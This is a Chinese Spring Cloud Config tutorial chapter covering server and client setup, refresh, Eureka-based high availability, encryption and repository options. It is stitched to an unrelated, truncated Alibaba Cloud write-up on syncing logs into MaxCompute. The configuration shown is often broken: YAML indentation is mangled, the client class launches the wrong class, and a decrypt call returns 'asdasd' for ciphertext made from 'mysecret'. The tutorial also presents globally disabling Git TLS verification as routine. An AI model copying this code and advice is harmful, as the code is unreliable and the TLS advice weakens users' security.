        下面分别从配置仓库、Config Server、Config Client的使用与概念解释,以及Config Server的高可用、全局通知、安全性、加解密等方面来介绍Spring Cloud Config。

        3.2 使用Config Server配置服务端

        本节先使用Git作为配置文件存储仓库,后文中会介绍使用SVN、本地目录以及自行扩展等方式。
        首先,我们需要在以Maven作为依赖管理的项目pom.xml中添加spring-cloud-starter-config、spring-cloud-config-server两项依赖,以及以spring-boot-starter-parent作为父项目。

        <dependencyManagement>
            <dependencies>
                <dependency>
                    <groupId>org.springframework.cloud</groupId>
                    <artifactId>spring-cloud-dependencies</artifactId>
                    <version>Edgware.RELEASE</version>
                    <type>pom</type>
                    <scope>import</scope>
                </dependency>
            </dependencies>
        </dependencyManagement>
        <dependencies>
            <dependency>
                <groupId>org.springframework.cloud</groupId>
                <artifactId>spring-cloud-starter-config</artifactId>
            </dependency>
            <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId> spring-cloud-config-server</artifactId>
            </dependency>
        </dependencies>

        在项目中创建ConfigServerApplication类,其中@EnableConfigServer注解表示允许该服务以HTTP形式对外提供配置管理服务。

        @SpringBootApplication
        @EnableConfigServer
        public class ConfigServerApplication {
            public static void main(String[] args) {
            SpringApplication.run(ConfigServerApplication.class, args);
            }
        }

        添加application.yml,新增如下内容指定Git仓库的地址:

        server:
            port: 8888
        spring:
            cloud:
        config:
        application:
            name: myConfigServer
                server:
                    git:
                        #Git仓库地址
                uri: https://git.oschina.net/wawzw123/SpringCloudBookCode.git
                search-paths: config-repo

        如下为配置文件中的配置项。
        1)spring.cloud.config.server.git.uri:配置Git仓库位置。
        2)spring.cloud.config.server.git.searchPaths:配置仓库路径下的相对搜索位置,可以配置多个。
        3)spring.cloud.config.server.git.username:访问Git仓库的用户名。
        4)spring.cloud.config.server.git.password:访问Git仓库的用户密码。
        读者在自行测试的时候需要自行创建Git仓库,并根据Git仓库信息自行替换application.properties中的内容。我们已经事先在实例的仓库中添加了如下几个文件,用于进行不同分支的不同key的读取测试。
        在Master分支中添加如下文件和内容。
        1)configServerDemo.properties :key1=master-default-value1;
        2)configServerDemo-dev.properties:key1=master-dev-value1;
        3)configServerDemo-test.properties:key1=master-test-value1;
        4)configServerDemo-prd.properties:key1=master-prd-value1。
        在Branch分支中添加如下文件和内容。
        1)configServerDemo.properties:key1=branch-prd-value1;
        2)configServerDemo-dev.properties:key1=branch-dev-value1;
        3)configServerDemo-test.properties:key1=branch-test-value1;
        4)configServerDemo-prd.properties:key1=branch-prd-value1。
        在服务端启动后,可以基于HTTP请求访问如下URL进行配置获取。可以通过如下几种格式的HTTP向配置中心发起配置文件获取的请求:
        1)/{application}/{profile}[/{label}];
        2)/{application}-{profile}.yml;
        3)/{application}-{profile}.json;
        4)/{label}/{application}-{profile}.yml;
        5)/{label}/{application}-{profile}.json;
        6)/{application}-{profile}.properties;
        7)/{label}/{application}-{profile}.properties。

        • application:应用名称,默认取spring.application.name,也可以通过spring.cloud.config.name指定。
        • profile:环境,如dev(开发)、test(测试)、prd(生产)等,通过spring.cloud.config.profile指定。
        • label:版本,对应不同的分支,通过spring.cloud.config.label指定。

        比如,尝试通过curl或者浏览器等发起HTTP请求“http://localhost:8888/configServer-Demo/test/master ”,将会得到如下响应内容。

        {
            "name": "configServerDemo",
            "profiles": [
                "test"
            ],
            "label": null,
            "version": "32d326655ae7d17be752685f29d017ba42e8541a",
            "propertySources": [
                {
                    "name": "https://git.oschina.net/wawzw123/Spring CloudBookCode.git/config-repo/configServerDemo-test.properties",
                    "source": {
                        "key1": "master-test-value1"
                    }
                },
                {
        "name":"https://git.oschina.net/wawzw123/Spring CloudBookCode.git/config-repo/configServerDemo.properties",
                    "source": {
                        "key1": "master-default-value1"
                    }
                }
            ]
        }

        访问http://localhost:8888/configServerDemo-test.yml ,则会得到如下结果:
        key1: master-test-value1
        在尝试了手动从配置中心获取配置项之后,我们接下来尝试启动一个示例项目来自动从配置中心获取配置项。

        3.3 使用Config Client配置客户端

        接下来创建一个Spring Boot应用作为配置管理的客户端来读取Config Server中提供的配置,如图3-1所示。
        image.png
        在pom.xml中添加如下依赖:

        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-starter-config</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>

        添加bootstrap.yml:

        server:
            port: 7002
        spring:
            application:
                name: cloudConfigDemo${server.port}
            cloud:
                config:
                profile: dev
                label: master
                name: configServerDemo
                uri: http://localhost:8888/

        上面这些属性必须配置在bootstrap.properties中,config部分才能被正确加载。因为config的相关配置会先于application.properties,而bootstrap.properties的加载也先于application.properties。
        创建ConfigClientApplication类并添加@EnableAutoConfiguration注解,表示自动获取项目中的配置变量:

        @SpringBootApplication
        @RestController
        @EnableAutoConfiguration
        public class ConfigClientApplication {
        @Value("${key1}")
        String foo;
        @RequestMapping("/say")
        @ResponseBody
        public String say(){
            return foo;
        }
            public static void main(String[] args) {
                SpringApplication.run(Application.class, args);
            }
        }

        在ConfigClientApplication中我们创建了一个RestController提供Web服务,输出读取到的key1的值。
        启动main方法,看到控制台信息中将有如下一行日志,包含了配置的相关信息:
        [main]c.c.c.ConfigServicePropertySourceLocator:Located-environment:name=configServerDemo,profiles=[test],label=branch1,version=575f8f8ded872700c7abcfb6bbbecf02f9271a17, state=null
        现在我们尝试访问http://localhost:8084/say ,会得到branch1-test-value1的响应。
        下面我们来一起了解Spring Cloud Config Client可能用到的常用配置。
        (1)客户端快速失败
        有的时候,需要在Config Server连接不上时直接启动失败。需要这个特性时可以设置bootstrap配置项spring.cloud.config.failFast=true来开启。
        (2)客户端重试
        可以在Config Server不可用时,让客户端重试。可以通过设置“spring.cloud.config.failFast=false;”在classpath中增加spring-retry、spring-boot-starter-aop依赖。默认情况下会重试6次,每次间隔1000ms并以1.1乘以次数方式递增。也可以通过'spring.cloud.config.retry'系列配置来修改相关配置。而且我们可以自己实现一个RetryOperations-Interceptor来详细地自定义重试策略。
        (3)HTTP权限
        如果要对HTTP请求进行账号密码的权限控制,可以配置服务器URI或单独的用户名和密码属性,bootstrap.yml配置文件如下:

        spring:
            cloud:
                config:
                    uri: https://user:secret@myconfig.mycompany.com

        或者:

        spring:
            cloud:
                config:
                    uri: https://myconfig.mycompany.com
                    username: user
                    password: secret

        spring.cloud.config.password和spring.cloud.config.username值覆盖URI中提供的内容。

        3.4 进阶场景

        3.4.1 热生效

        在应用运行时经常会有修改配置的需求,那么在Spring Cloud Config中如何让修改Git仓库的配置动态生效呢?我们在ConfigClientApplication类上加上@RefreshScope注解并在Config Client的pom.xml中添加spring-boot-starter-actuator监控模块,其中包含了/refresh刷新API,并启动Config Client。如下为pom文件中的依赖项:

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-actuator</artifactId>
        </dependency>

        在配置完之后,我们进行如下尝试来验证配置时进行了热生效。
        步骤1 访问http://localhost:8084/say 得到响应“key1: master-test-value1”。
        步骤2 将configServerDemo-test.properties的内容修改为master-test-value2并通过Git提交对配置文件的修改。
        步骤3 请求Config Client的http://localhost:8084/say ,依旧是“key1: master-test-value1”。因为Client未接到任何通知进行本地配置更新。
        步骤4 通过POST访问http://localhost:8084/refresh 得到响应["key1"],表明key1已被更新。
        步骤5 访问http://localhost:8084/say ,相应内容已经变成了master-test-value2。
        然而,如果每次修改了配置文件就要手动请求/refresh,这一定不是我们想要的效果。在第11章中我们将介绍如何使用Bus来通知Spring Cloud Config,如图3-2所示。
        image.png

        3.4.2 高可用

        在上文中我们以在配置文件中指定配置中心Config Server的实例地址的方式来定位Config Server。一旦遇到Config Server宕机,Config Client将无法继续获取配置,且对Config Server进行横向扩展时也需要修改每一个Config Client的配置文件。当单台Config Server压力过大时,客户端也无法做到负载均衡。
        Spring Cloud针对Config Server同样支持通过Eureka进行服务注册的方式。我们将Config Server的所有实例以服务提供方的形式注册在Eureka上。Config Client以服务消费方的形式去Eureka获取Config Server的实例,这样也就同时支持由Eureka组件提供的故障转移、服务发现、负载均衡等功能。
        我们接下来对之前的Config Server进行改造,在Config Server的Maven pom.xml上增加Eureka的依赖:

        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-starter-eureka</artifactId>
        </dependency>

        在配置文件application.yml中追加Eureka的注册中心地址的配置:

        eureka:
            client:
                serviceUrl:
                    defaultZone: http://localhost:8989/eureka/

        在ConfigServerApplication.java主类中标注@EnableEurekaClient注解。
        接下来,启动Config Server,并查看Eureka控制台,可以看见已经注册的服务提供方。之后需要让Config Client去Eureka获取Config Server地址。我们来对Config Server进行改造。
        在Maven中新增对Eureka的依赖:

        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-starter-eureka</artifactId>
        </dependency>

        在bootstrap.yml中新增Eureka注册中心地址的配置,并去掉spring.cloud.config.uri的静态指定。通过spring.cloud.config.discovery.enabled指定打开Spring Cloud Config的动态发现服务功能的开关,通过spring.cloud.config.discovery.serviceId指定在注册中心的配置中心中的ServiceId。

        eureka:
            client:
                serviceUrl:
                    defaultZone: http://localhost:8989/eureka/
        spring:
            application:
                name: cloudConfigDemo${server.port}
            cloud:
                config:
                    profile: dev
                        label: master
                        name: configServerDemo
                        discovery:
                            enabled: true
                service-id: myConfigServer
        #uri: http://localhost:8888/

        在ConfigClientApplication.java主类中增加@EnableDiscoveryClient注解,使其打开服务发现客户端功能。
        启动Config Client时可以发现,如果配置服务部署多份,通过负载均衡,可以实现高可用。

        3.4.3 安全与加解密

        使用Spring Cloud Config时,可能有些场景需要将配置服务暴露在公网或者其他需要加权限安全控制的场景。可以使用Spring Security来整合Spring Cloud Config。
        使用Spring Boot默认的基于HTTP安全方式,仅仅需要引入Spring Security依赖(如:可以通过spring-boot-starter-security)。引入此依赖的默认情况是使用一个用户名和一个随机产生的密码,这种方式并不是很靠谱,因此,建议通过spring-boot-starter-security配置密码,并对其进行加密处理。
        在默认情况下,启动Config Server时,会看到启动日志中有如下类似信息:
        b.a.s.AuthenticationManagerConfiguration :
        Using default security password: 7bbc28c2-b60f-4996-8eb5-87b4f57e976c
        这就是Spring Security默认生成的密码,同样也可以通过配置文件自定义账号和密码:
        security:

        user:
            name: testuser
            password: testpassword

        1.服务端加解密
        在实际生产环境使用过程中,就算加入了账号和密码等方式的权限控制,数据存储在Config Server中依旧可能被泄露,那么可以对数据加密后再存储在Config Server中。
        如果远程资源是一个经过加密的内容(以{cipher}开头),在发送给客户端之前运行时会被解密。这样,配置内容就不用明文存放了。
        我们先来使用JDK自带的keytool工具生成加解密时所需要用到的密钥:
        keytool
        -genkey
        -alias cloudtest (别名)
        -keypass 123456 (别名密码)
        -keyalg RSA (算法)
        -validity 365 (有效期,天)
        -keystore mykey.keystore (指定生成证书的位置和证书名称)
        -storepass mypass (获取keystore信息的密码)
        接下来需要填入一些无关紧要的信息:
        你的名字与姓氏是什么?

        [Unknown]:  hjh

        你的组织单位名称是什么?

        [Unknown]:  spring

        你的组织名称是什么?

        [Unknown]:  spring

        你所在的城市或区域名称是什么?

        [Unknown]:  shanghai

        你所在的省/市/自治区名称是什么?

        [Unknown]:  cn

        该单位的双字母国家/地区代码是什么?

        [Unknown]:  cn

        CN=hjh, OU=spring, O=spring, L=shanghai, ST=cn, C=cn是否正确?

        [否]:  y

        接下来将密钥信息复制进Resources目录并配置进Config Server配置文件中:
        encrypt:

        key-store:
            location: classpath:mykey.keystore
            password: mypass
            alias: cloudtest
            secret: 123456application.yml

        在location中也可以使用file://来配置文件路径。
        接下来尝试访问http://localhost:8888/encrypt 并以POST方式提交需要加密的内容。
        $ curl localhost:8888/encrypt -d mysecret
        AQATZVzrgr9M+doCEiRdL44JD2rB+A2HzX/I6Sec6w04+VW+znApTHZoiJhL0Fn4+3u73aUi5euejvokwmAx+ttBPX8UrhxMcDHZmqj1ADm2XAqX1/NEJtkcfVSFCrkyAztzlT/u+6/uzHRUMZhiJDn41yYtGKtt9/zlni9WKcEBxhSb2XMYuJL21EL2q4w2rD9awLYfJBy4MD6fbPC2mlZ0XCFuCDR7mslneLQtB/bkKcVUR/p5g8GJ8qWUt9T6DGQ52QgxTCoRvJcUFzulRD+A3b4UhuHmumdP0i7wM+hnTI+6h/HXVZ33Ju8SGRtnYXp7Bnz69T4NPZRT7Ov6S/4/IJMObwrSNSfZv7tAV2BSRj4U6xhBCCAcXdVrTHQzlpM=
        请求返回的内容就是服务端根据我们配置的密钥加密后的结果。
        同样,以POST方式请求http://localhost:8888/decrypt 并传入密文,将会返回解密后的结果。
        $ curl localhost:8888/decrypt -d AQATZVzrgr9M+doCEiRdL44JD2rB+A2HzX/I6Sec6w04+VW+znApTHZoiJhL0Fn4+3u73aUi5euejvokwmAx+ttBPX8UrhxMcDHZmqj1ADm2XAqX1/NEJtkcfVSFCrkyAztzlT/u+6/uzHRUMZhiJDn41yYtGKtt9/zlni9WKcEBxhSb2XMYuJL21EL2q4w2rD9awLYfJBy4MD6fbPC2mlZ0XCFuCDR7mslneLQtB/bkKcVUR/p5g8GJ8qWUt9T6DGQ52QgxTCoRvJcUFzulRD+A3b4UhuHmumdP0i7wM+hnTI+6h/HXVZ33Ju8SGRtnYXp7Bnz69T4NPZRT7Ov6S/4/IJMObwrSNSfZv7tAV2BSRj4U6xhBCCAcXdVrTHQzlpM=
        asdasd
        如果在请求/encrypt和/decrypt的时候服务端抛出“Illegal key size”异常,则表明JDK中没有安装Java Cryptography Extension。
        Java Cryptography Extension(JCE)是一组包,提供用于加密、密钥生成和协商以及MAC(Message Authentication Code)算法的框架和实现,提供对对称、不对称、块和流密码的加密支持,还支持安全流和密封的对象。它不提供对外出口,用它开发并完成封装后将无法调用。
        下载地址为http://www.oracle.com/technetwork/java/javase/downloads/index.html ,下载并解压完成后,将其复制到JDK/jre/lib/security中即可。
        在实际使用过程中,只需要将生成好的密文以{cipher}开头填入配置中即可。
        spring:

        datasource:
          username: dbuser
          password: '{cipher}FKSAJDFGYOS8F7GLHAKERGFHLSAJ'

        如果使用properties格式配置文件,则加密数据不要加上双引号。可以在application.properties中加入如下配置:
        spring.datasource.username: dbuser
        spring.datasource.password: {cipher}FKSAJDFGYOS8F7GLHAKERGFHLSAJ
        这样就可以安全共享此文件,同时可以保护密码。
        2.客户端解密
        有的时候需要客户端自行对密文进行解密,而不是在服务端解密。这就需要明确指定配置数据在服务端发出时不解密:spring.cloud.config.server.encrypt.enabled=false。

        3.4.4 自定义格式文件支持

        在某些场景可能不总是以YAML、Properties、JSON等格式获取配置文件,可能内容是自定义格式的,希望Config Server将其以纯文本方式来处理而不做其他加工。Config Server提供了一个访问端点/{name}/{profile}/{label}/{path}来支持这种需求,这里的{path}是指文件名。
        当资源文件被找到后,与常规的配置文件一样,也会先处理占位符。例如,在上文案例的Git仓库中上传:
        nginx.conf
        server {

        listen 80;
        mykey ${key1};

        }
        接下来重启Config Server并请求Nginx的配置文件。如尝试请求http://localhost:8888/configServerDemo/dev/master/nginx.conf ,将会得到如下响应:
        server {

        listen 80;
        mykey master-dev-value-dev;

        }
        可以看到正常匹配了我们上传的自定义格式文件,并替换了占位符。

        3.5 其他仓库的实现配置

        1.配置Git
        在应用配置文件与特定配置文件中可以通过正则表达式来支持更为复杂的情况。在{application}/{profile}中可以使用通配符进行匹配,如果有多个值可以使用逗号分隔,配置文件示例如下:
        spring:

        cloud:
            config:
                server:
                    git:
                        uri: https://github.com/spring-cloud-samples/config-repo
                        repos:
                            simple: https://github.com/simple/config-repo
                            special:
                                pattern: special*/dev*,*special*/dev*
                                uri: https://github.com/special/config-repo
                            local:
                                pattern: local*
                                uri: file:/home/configsvc/config-repo

        如果{application}/{profile}没有匹配到任何资源,则使用spring.cloud.config.server.git.uri配置的默认URI。
        上面例子中pattern属性是一个YAML数组,也可以使用YAML数组格式来定义。这样可以设置成多个配置文件,示例如下:
        spring:

        cloud:
            config:
                server:
                    git:
                        uri: https://github.com/spring-cloud-samples/config-repo
                        repos:
                            development:
                            pattern:
                                - */development
                                - */staging
                            uri: https://github.com/development/config-repo
                        staging:
                            pattern:
                                - */qa
                                - */production
                            uri: https://github.com/staging/config-repo

        每个资源库有一个可选的配置,用来指定扫描路径,示例如下:
        spring:

        cloud:
            config:
                server:
                    git:
                        uri: https://github.com/spring-cloud-samples/config-repo
                        searchPaths: foo,bar*

        这样系统就会自动搜索foo的子目录,以及以bar开头的文件夹中的子目录。
        默认情况下,当第一次请求配置时,系统复制远程资源库。系统也可以配置成一启动就复制远程资源库,示例如下:
        spring:

        cloud:
            config:
                server:
                    git:
                        uri: https://git/common/config-repo.git
                        repos:
                            team-a:
                                pattern: team-a-*
                                cloneOnStart: true
                                uri: http://git/team-a/config-repo.git
                            team-b:
                                pattern: team-b-*
                                cloneOnStart: false
                                uri: http://git/team-b/config-repo.git
                            team-c:
                                pattern: team-c-*
                                uri: http://git/team-a/config-repo.git

        上面的例子中team-a的资源库会在启动时就从远程资源库进行复制,其他的则等到第一次请求时才从远程资源库复制。
        2.配置权限与HTTPS
        如果远程资源库设置了权限认证,则可以如下配置:
        spring:

        cloud:
            config:
                server:
                    git:
                        uri: https://github.com/spring-cloud-samples/config-repo
                        username: trolley
                        password: strongpassword

        如果不使用HTTPS和用户认证,可以使用SSH URI的格式。例如,git@github.com:configuration/cloud-configuration,这就需要先有SSH的key。这种方式系统会使用JGit库进行访问,可以去查看相关文档。可以在~/.git/config中设置HTTPS代理配置,也可以通过JVM参数-Dhttps.proxyHost、-Dhttps.proxyPort来配置代理。
        用户不知道自己的~/.git目录时,可以使用git config --global来指定。例如:git config --global http.sslVerify false。
        3.配置SVN
        如果希望使用SVN充当配置仓库来替换Git,配置也与Git类似,同样支持账户、密码、搜索路径等配置,这里不再赘述,SVN配置示例如下:
        spring:

        cloud:
            config:
                server:
                    svn:
                        uri: https://subversion.assembla.com/svn/spring-cloud-config-repo/
                    #git:
                    #  uri: https://github.com/pcf-guides/configuration-server-config-repo
                    default-label: trunk

        profiles:

        active: subversion

        4.配置本地仓库
        如果希望配置仓库从本地classpath或者文件系统加载配置文件,可以通过spring.profiles.active=native开启。默认从classpath中加载,如果使用“file:”前缀加载文件系统,则从本地路径中加载。当然也可以使用${}样式的环境占位符,例如:file:///${user.home}/config-repo。

        3.6 小结

        有了Spring Cloud Config,可以实现对任意一个集成过的Spring程序进行动态化参数配置及热生效等相关操作,从而实现程序与配置隔离,解耦编码与环境之间的耦合。这同样是微服务架构所需要的。接下来我们将进入下一章开始学习服务端之间的调用。

        ]]>
        日志数据如何同步到MaxCompute Fri, 02 May 2025 09:39:04 +0800 摘要:日常工作中,企业需要将通过ECS、容器、移动端、开源软件、网站服务、JS等接入的实时日志数据进行应用开发。包括对日志实时查询与分析、采集与消费、数据清洗与流计算、数据仓库对接等场景。本次分享主要介绍日志数据如何同步到MaxCompute。具体讲解如何通过Tunnel,DataHub,日志服务SLS以及Kafka将日志数据投递到MaxCompute的参数介绍和详细同步过程等内容。

        演讲嘉宾简介:刘建伟,阿里云智能技术支持工程师

        本次直播视频精彩回顾,戳这里!https://yq.aliyun.com/live/1575
        以下内容根据演讲视频以及PPT整理而成。
        本次分享主要围绕以下四个方面:
        一、实验目的
        二、方案介绍
        三、方案比较及场景应用
        四、操作步骤
        一、实验目的及方案介绍
        1.实验目的
        日常工作中,企业需要将通过ECS、容器、移动端、开源软件、网站服务、JS等接入的实时日志数据进行应用开发。包括日志实时查询与分析、采集与消费、数据清洗与流计算、数据仓库对接等场景。
        9B27D287_9A68_49b9_B93D_4D4678AF8E4F
        2.方案介绍
        日志数据同步到MaxCompute的场景主要有四个方案。
        方案一:使用Tunnel命令上传日志数据到MaxCompute。
        方案二:通过DataHub投递数据到MaxCompute。DataHub DataConnector是把DataHub服务中的流式数据同步到其他云产品中的功能,目前支持将Topic中的数据实时/准实时同步到MaxCompute、OSS、ElasticSearch、RDS Mysql、ADS.、TableStore中。用户只需要向DataHub中写入一次数据,并在DataHub服务中配好同步功能,便可以在各个云产品中使用这份数据。
        方案三:通过SLS实时采集与消费( LogHub )投递数据到MaxCompute。也可通过DataWorks的数据集成( Data Integration )功能投递至MaxCompute。
        方案四:通过Kafka订阅实时数据投递至MaxCompute。
        其中方案二(DataHub)和方案三( LogHub )差异化不强,均属于消息队列。一般来说DataHub用于进行公测或自研。
        _1
        三、方案比较及场景应用
        1. Tunnel
        Tunnel主要用于批量上传数据到离线表中,适用于离线计算的场景。对于特殊格式日志,一般建议将日志作为一个整体字段上传到MaxCompute表中,再进行拆分。
        2. DataHub
        DataHub用于实时上传数据的场景,主要用于流式计算场景。数据上传后会保存到实时表里,后续会在几分钟内通过定时任务的形式同步到离线表里,供离线计算使用。
        3.日志服务(SLS)
        LogHub:可适用于数据清洗(ETL)、流计算( Stream Compute)、监控与报警、机器学习与迭代计算等场景。其实时性强,写入即可消费。
        Logtail (采集Agent ):实时采集传输,1秒内到达服务端( 99.9%)。写入即可查询分析。此外可支持海量数据,对数据量不设上限。种类丰富,支持行、列、TextFile等各种存储格式。而且配置灵活,支持用户自定义Partition等配置。
        LogShipper(投递数仓):可支持稳定可靠的日志投递。将日志中枢数据投递至存储类服务进行存储。支持压缩、自定义Parition,以及行列等各种存储方式。可以进行数据仓库、数据分析、审计c推荐系统与用户画像场景的开发。支持通过控制台数据接入向导一站式配置正则模式采集日志与设置索引。
        4.Kafka
        Kafka是一款分布式发布与订阅的消息中间件,有高性能、高吞量的特点,每秒能处理上百万消息。Kafka适用于流式数据处理。可应用场景分别是大数据领域和数据集成。大数据领域主要应用于用户行为跟踪、日志收集等场景。结合数仓将消息导入MaxCompute、 OSS、RDS、Hadoop.、HBase等离线数据仓库。

        四、操作步骤
        1. 方案一:通过Tunnel命令上传日志数据到MaxCompute
        环境准备及步骤:
        (1) 开通MaxCompute服务,安装odpscmd客户端。
        (2) 准备日志服务数据。
        (3) 创建MaxCompute表,用于储存日志数据。
        (4) 使用特征命令:tunnel u C:UsersDesktopweijing_loghub_demo.csv tunnel_log。
        u即upload,随后是上传路径和用于存储日志数据的表名。如下图所示,执行后日志数据投递成功,说明已经通过Tunnel命令将日志数据上传到MaxCompute中。11111
        (5) 查询表数据是否导入成功。
        111111
        查询后显示表中已有数据导入,说明日志数据成功导入MaxCompute表中。
        注意事项:
        (1) 使用Tunnel命令行工具上传数据当前不支持通配符或正则表达式命令。若用户想借助正则表达式上传数据,可使用方案三(LogHub支持正则表达式)。
        (2) 对于特殊格式的日志数据,一般建议作为一个整体字段上传,到MaxCompute里,再进行拆分。
        2. 方案二:通过DataHub投递日志数据到MaxCompute
        环境准备及步骤:
        (1) 登录阿里云DataHub控制台,创建Project。
        (2) 进入Project管理页面 Project列表->Project查看,创建Topic。创建Topic有两种方式,一是直接创建,或者是导入MaxCompute表结构。
        (3) 选择导入MaxCompute表结构。输入MaxCompute项目,选择项目名称。输入MaxCompute表,此MaxCompute表可以是已经创建的表,也可新建表名,会自动创建一个MaxCompute表。然后填写AccessidAccessKey信息。勾选自动创建DataConnector,勾选后会在创建Topic时自动创建一个DataConnector。填写Topic名称。Shard数量默认为1k KPS,用户可根据自己的数据流量进行设置。再设置生命周期。
        111
        注意:Schema对应MaxCompute表,该表字段类型、名称、顺序必须与DataHub Topic字段完全一致,如果三个条件中的任意一个不满足,则归档Connector无法创建。
        (4) 创建好的DataConnector详细信息如下图所示。包括已同步时间、最新写入数据时间、MaxCompute Endpoint、运行状态、脏数据量、当前点位。当前点位从0开始,下图示例中为2,说明已导入三条数据。
        111
        直接创建Topic: 首先输入一个MaxCompute项目,再输入MaxCompute表,可为已知表或新建表。再输入相应ACCESSIDACCESSKEY信息。
        (5) 如果已经创建Topic,只需要在详情页的右上角点击 + DataConnector。
        分区范围包含SYSTEM_TIME、EVENT_TIME、USER_DEFINE三种模式,SystemTime模式会使用写入时间转化为字符串进行分区。EventTime模式会根据topic中固定的event_time字段时间进行分区(需要在创建Topic时增加一个TIMESTAMP类型名称为event_time的字段,并且写入数据时向这个字段写入其微秒时间)。UserDefine模式将会直接使用用户自定义的分区字段字符串分区。分区格式目前仅支持固定格式。
        1111
        (6) 回到DataHub控制台,点击Topic。
        如下图所示,可以看到Shard通道,会记录数据写入时间、最新数据时间、数据量以及当前存储量。
        111
        点击DataConnector,可查看其详细信息。包括配置的目标服务、目标描述以及最新写入数据的时间。
        111
        (7) 日志数据抽样。如下图所示点击数据抽样可以查看写入DataHub中的日志数据。
        111
        点击查看DataConnector详细信息,可看到归档信息包括当前点位、脏数据、运行状态。如果运行状态为失败,需要检查原因,一般可能为Endpoint配置问题。DataHub投入数据到MaxCompute离线表中默认每60M commit一次,或五分钟进行一次强行写入,可以保证至少五分钟一次数据同步。
        111
        1111
        (8) 测试日志数据是否投递成功。如下图所示,进行扫描发现有数据写入,说明通过DataHub投递数据至MaxCompute成功。11111
        注意事项:
        (1) 目前所有DataConnector均仅支持同一Region的云服务之间同步数据,不支持同步数据到跨Region的服务。
        (2) DataConnector所配置的目标服务Endpoint需要填写相应的内网域名(经典网络),不支持使用公网域名同步。
        (3) 数据同步目前仅支持at least once语义,在网络服务异常等小概率场景下可能会导致目的端的数据产生重复但不会丢失,需要做去重处理。
        (4) topic默认可创建20个,如果需要创建更多,需提交工单申请。
        3. 方案三:通过LogHub投递日志数据到MaxCompute
        直接通过LogHub投递:
        环境准备及步骤:
        (1) 开通日志服务,登录日志服务控制台,创建新的Project或者单击已创建的Project名称。
        (2) 创建新的Logstore或者单击已经创建好的Logstore名称。
        (3) 单击对应的Logstore,查询分析导入到LogHub的日志数据。如下图演示所示几条数据即为LogHub的日志数据,需要将其同步到MaxCompute表中。
        111
        (4) 选择需要投递的日志库名称并依次展开节点,日志库名称->数据处理->导出->MaxCompute。单击开始投递。
        (5) 单击开启投递以进入LogHub->数据投递页面。进行相关配置。
        (6) 配置投递规则,在LogHub->数据投递页面配置字段关联等相关内容。如下图所示。
        a) 自定义一个投递名称
        b) MaxCompute表名称,项目名以及日志表明。输入自定义的新建的MaxCompute表名称或者选择已有的MaxCompute表。
        c) 字段关联。左边是LogHub表的字段列,右边是MaxCompute表中的字段列。按序,左边填写与MaxCompute表数据列相映射的日志服务字段名称,右边填写或选择MaxCompute表的普通字段名称及字段类型。
        d) 分区字段:__partition_time__
        格式:将日志时间作为分区字段,通过日期来筛选数据是MaxCompute常见的过滤数据方法。__partition_time__是根据日志__time__值计算得到(不是日志写入服务端时间,也不是日志投递时间),结合分区时间格式,向下取整。
        111
        (7) 在投递管理页面,单击修改即可对之前的配置信息进行编辑。如果想新增列,可以在大数据计算服务MaxCompute修改投递的数据表列信息,单击修改后会加载最新的数据表信息。
        (8) 投递任务管理。如下图所示,配置成功后点击确定,会提示成功配置了一个数据投递到MaxCompute。
        111
        启动投递功能后,日志服务后台会定期启动离线投递任务。用户可以在控制台上看到这些投递任务的状态和错误信息。当投递任务发生错误时,需要查看错误信息,问题解决后可以通过云控制台中日志投递任务管理或SDK来重试失败任务。
        (9) 查看日志投递的运行状态。如下图所示日志开始投递后状态是运行中,运行行数为0,日志投递成功后运行行数为11,状态转变为成功。说明通过LogHub投递日志到MaxCompute成功。
        1111
        11111
        (10) 日志投递MaxCompute后,检查数据完整性。
        a) 通过控制台或API/SDK判断(推荐)。使用API、SDK或者控制台获取指定Project/Logstore投递任务列表。控制台会对该返回结果进行可视化展示。
        b) 通过MaxCompute分区粗略估计,比如在MaxCompute中以半小时做一次分区,投递任务为每30分钟一次,当表中包含以下分区:

        2019_10_25_10_00
        2019_10_25_10_30

        当发现分区2019_10_25_11_00出现时,说明11:00之前分区数据已经完整。该方法不依赖API,判断方式简单但结果并不精确,仅用作粗略估计。
        (11) 查询MaxCompute表中数据。
        111
        注意事项:
        (1) 数加控制台创建、修改投递配置必须由主账号完成,不支持子账号操作。
        (2) 不同Logstore的数据不可导入到同一个MaxCompute表中,否则会造成分区冲突、丢失数据等后果。
        (3) MaxCompute表至少包含一个数据列、一个分区列。
        (4) MaxCompute单表有分区数目6万的限制,分区数超出后无法再写入数据,所以日志服务导入MaxCompute表至多支持3个分区列。需谨慎选择自定义字段作为分区列,保证其值可枚举。
        (5) 日志服务数据的一个字段最多允许映射到一个MaxCompute表的列(数据列或分区列),不支持字段冗余,同一个字段名第二次使用时其投递的值为null,如果null出现在分区列会导致数据无法被投递。
        (6) 投递MaxCompute是批量任务,需谨慎设置分区列及其类型:保证一个同步任务内处理的数据分区数小于512个;用作分区列的字段值不能为空或包括‘/’等MaxCompute保留字段。
        (7) 不支持海外Region的MaxCompute投递,海外Region的MaxCompute可使用DataWorks进行数据同步。
        DataWorks:
        环境准备及步骤:
        (1) 登录阿里云LogHub控制台,创建Project。
        (2) 登录DataWorks控制台,单击对应项目进入数据集成。
        (3) 配置LogHub数据源。进入同步资源管理->数据源页面,单击右上角的新增数据源。
        (4) 选择数据源类型为LogHub,填写新增LogHub数据源对话框中的配置,如下图所示。选择环境,填写数据源名称、LogHub Endpoint、在LogHub中创建的Project以及ACCESSIDACCESSKEY信息。填写完成后单击测试连通性。测试连通性通过说明数据源可以正确使用。单击确定。
        111
        (5) 配置同步任务。可选择向导模式,通过简单便捷的可视化页面完成任务配置;或者选择脚本模式,深度自定义配置同步任务。
        新建业务流程->数据集成->新建数据集成节点->数据同步进入数据同步任务配置页面。
        使用向导模式需要填写日志开始时间和结束时间。日志开始时间表示数据消费的开始时间位点,为yyyyMMddHHmmss格式的时间字符串(比如20191025103000),左闭右开。日志结束时间表示数据消费的结束时间位点,格式与日志开始时间相同。
        批量条数:一次读取的数据条数,默认为256。
        111
        a) 向导模式配置同步任务。
